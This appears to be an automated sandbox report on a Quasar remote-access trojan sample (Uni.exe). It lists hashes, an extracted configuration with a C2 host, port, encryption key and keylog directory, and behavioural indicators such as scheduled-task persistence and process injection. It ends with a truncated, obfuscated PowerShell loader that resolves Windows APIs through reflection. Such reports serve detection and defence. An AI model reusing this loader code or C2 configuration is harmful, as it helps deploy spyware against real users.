Analysis
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max time kernel
1800s -
max time network
1800s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
08-05-2024 17:27
Behavioral task
behavioral1
Sample
Uni.exe
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.exe
Resource
win7-20240221-en
Behavioral task
behavioral3
Sample
Uni.exe
Resource
win10v2004-20240508-en
General
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Target
Uni.exe
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Size
409KB
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MD5
7417c8c73e614f293152575f46134216
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SHA1
cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
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SHA256
00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
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SHA512
897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
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SSDEEP
6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m
Malware Config
Extracted
quasar
3.1.5
SLAVE
even-lemon.gl.at.ply.gg:33587
$Sxr-dOMA5C0pQTTpKjVsCp
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encryption_key
UBXs44u6E81wxBGZxQHk
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install_name
$sxr-powershell.exe
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log_directory
$SXR-KEYLOGS
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reconnect_delay
3000
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startup_key
$sxr-powershell
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subdirectory
$sxr-seroxen2
Signatures
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Quasar payload 2 IoCs
Processes:
resource yara_rule behavioral3/memory/380-1-0x0000000000A40000-0x0000000000AAC000-memory.dmp family_quasar C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2096 created 612 2096 powershell.EXE winlogon.exe PID 4868 created 612 4868 powershell.EXE winlogon.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
$sxr-powershell.exeinstall.exeinstall.exepid process 1580 $sxr-powershell.exe 3660 install.exe 2368 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
Processes:
flow ioc 9 raw.githubusercontent.com 10 raw.githubusercontent.com 17 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 5 ip-api.com -
Drops file in System32 directory 10 IoCs
Processes:
powershell.EXEpowershell.EXEsvchost.exesvchost.exeDllHost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.EXEpowershell.EXEdescription pid process target process PID 2096 set thread context of 3720 2096 powershell.EXE dllhost.exe PID 4868 set thread context of 4580 4868 powershell.EXE dllhost.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeSCHTASKS.exeschtasks.exepid process 3300 schtasks.exe 624 SCHTASKS.exe 3156 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189353" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE -
Modifies registry class 3 IoCs
Processes:
Explorer.EXEsihost.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\WasEverActivated = "1" sihost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.EXEpowershell.EXEdllhost.exedllhost.exepid process 2096 powershell.EXE 2096 powershell.EXE 4868 powershell.EXE 4868 powershell.EXE 2096 powershell.EXE 3720 dllhost.exe 3720 dllhost.exe 3720 dllhost.exe 3720 dllhost.exe 4868 powershell.EXE 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe 4580 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Uni.exepowershell.EXE$sxr-powershell.exepowershell.EXEdllhost.exedllhost.exedwm.exeExplorer.EXEdescription pid process Token: SeDebugPrivilege 380 Uni.exe Token: SeDebugPrivilege 2096 powershell.EXE Token: SeDebugPrivilege 1580 $sxr-powershell.exe Token: SeDebugPrivilege 4868 powershell.EXE Token: SeDebugPrivilege 2096 powershell.EXE Token: SeDebugPrivilege 3720 dllhost.exe Token: SeDebugPrivilege 4868 powershell.EXE Token: SeDebugPrivilege 4580 dllhost.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 1012 dwm.exe Token: SeCreatePagefilePrivilege 1012 dwm.exe Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE Token: SeShutdownPrivilege 3536 Explorer.EXE Token: SeCreatePagefilePrivilege 3536 Explorer.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 1580 $sxr-powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3536 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exelsass.exedescription pid process target process PID 380 wrote to memory of 3300 380 Uni.exe schtasks.exe PID 380 wrote to memory of 3300 380 Uni.exe schtasks.exe PID 380 wrote to memory of 3300 380 Uni.exe schtasks.exe PID 380 wrote to memory of 1580 380 Uni.exe $sxr-powershell.exe PID 380 wrote to memory of 1580 380 Uni.exe $sxr-powershell.exe PID 380 wrote to memory of 1580 380 Uni.exe $sxr-powershell.exe PID 380 wrote to memory of 3660 380 Uni.exe install.exe PID 380 wrote to memory of 3660 380 Uni.exe install.exe PID 380 wrote to memory of 3660 380 Uni.exe install.exe PID 380 wrote to memory of 624 380 Uni.exe SCHTASKS.exe PID 380 wrote to memory of 624 380 Uni.exe SCHTASKS.exe PID 380 wrote to memory of 624 380 Uni.exe SCHTASKS.exe PID 1580 wrote to memory of 3156 1580 $sxr-powershell.exe schtasks.exe PID 1580 wrote to memory of 3156 1580 $sxr-powershell.exe schtasks.exe PID 1580 wrote to memory of 3156 1580 $sxr-powershell.exe schtasks.exe PID 1580 wrote to memory of 2368 1580 $sxr-powershell.exe install.exe PID 1580 wrote to memory of 2368 1580 $sxr-powershell.exe install.exe PID 1580 wrote to memory of 2368 1580 $sxr-powershell.exe install.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 2096 wrote to memory of 3720 2096 powershell.EXE dllhost.exe PID 3720 wrote to memory of 612 3720 dllhost.exe winlogon.exe PID 3720 wrote to memory of 664 3720 dllhost.exe lsass.exe PID 3720 wrote to memory of 940 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1012 3720 dllhost.exe dwm.exe PID 3720 wrote to memory of 404 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 936 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1084 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1100 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1160 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1184 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1244 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1320 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1336 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1428 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1440 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1500 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1528 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1644 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1692 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1744 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1772 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1888 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1964 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1980 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1348 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1640 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 1896 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2128 3720 dllhost.exe spoolsv.exe PID 3720 wrote to memory of 2184 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2340 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2520 3720 dllhost.exe sihost.exe PID 3720 wrote to memory of 2552 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2624 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2632 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2672 3720 dllhost.exe taskhostw.exe PID 3720 wrote to memory of 2736 3720 dllhost.exe svchost.exe PID 3720 wrote to memory of 2824 3720 dllhost.exe sysmon.exe PID 664 wrote to memory of 2824 664 lsass.exe sysmon.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a4ef60cd-4bb3-46d6-b7cb-5af215ff7de5}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{22b2db06-4f69-4058-b138-35f4defd90fa}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KtDFqiZwncRE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$epQLeSohfBUCNX,[Parameter(Position=1)][Type]$OHqAydPJSy)$sRmoMrhXZVD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'c'+[Char](116)+''+'e'+''+[Char](100)+'D'+[Char](101)+'l'+'e'+''+[Char](103)+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+[Char](101)+''+[Char](109)+''+'o'+'ry'+[Char](77)+''+'o'+''+[Char](100)+'u'+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+'ate'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'','C'+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'e'+'a'+''+'l'+'e'+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$sRmoMrhXZVD.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+'cia'+[Char](108)+'Na'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+'g'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$epQLeSohfBUCNX).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+'n'+'a'+[Char](103)+'e'+'d'+'');$sRmoMrhXZVD.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+'wS'+[Char](108)+''+[Char](111)+''+'t'+''+','+'V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+'',$OHqAydPJSy,$epQLeSohfBUCNX).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+'n'+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $sRmoMrhXZVD.CreateType();}$hTgQHJGVxzAbd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+'t'+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+'n'+'32'+[Char](46)+''+'U'+'ns'+'a'+'f'+'e'+''+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+'t'+'h'+'o'+'d'+''+[Char](115)+'');$MhkUnzRfbidESP=$hTgQHJGVxzAbd.GetMethod('G'+'e'+''+[Char](116)+''+'P'+''+'r'+''+'o'+''+'c'+''+[Char](65)+'d'+'d'+''+[Char](114)+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+''+'S'+'ta'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$DOtlBnemggKoWkZRzJd=KtDFqiZwncRE @([String])([IntPtr]);$njlsGkLwPClAaQcQBXUloZ=KtDFqiZwncRE 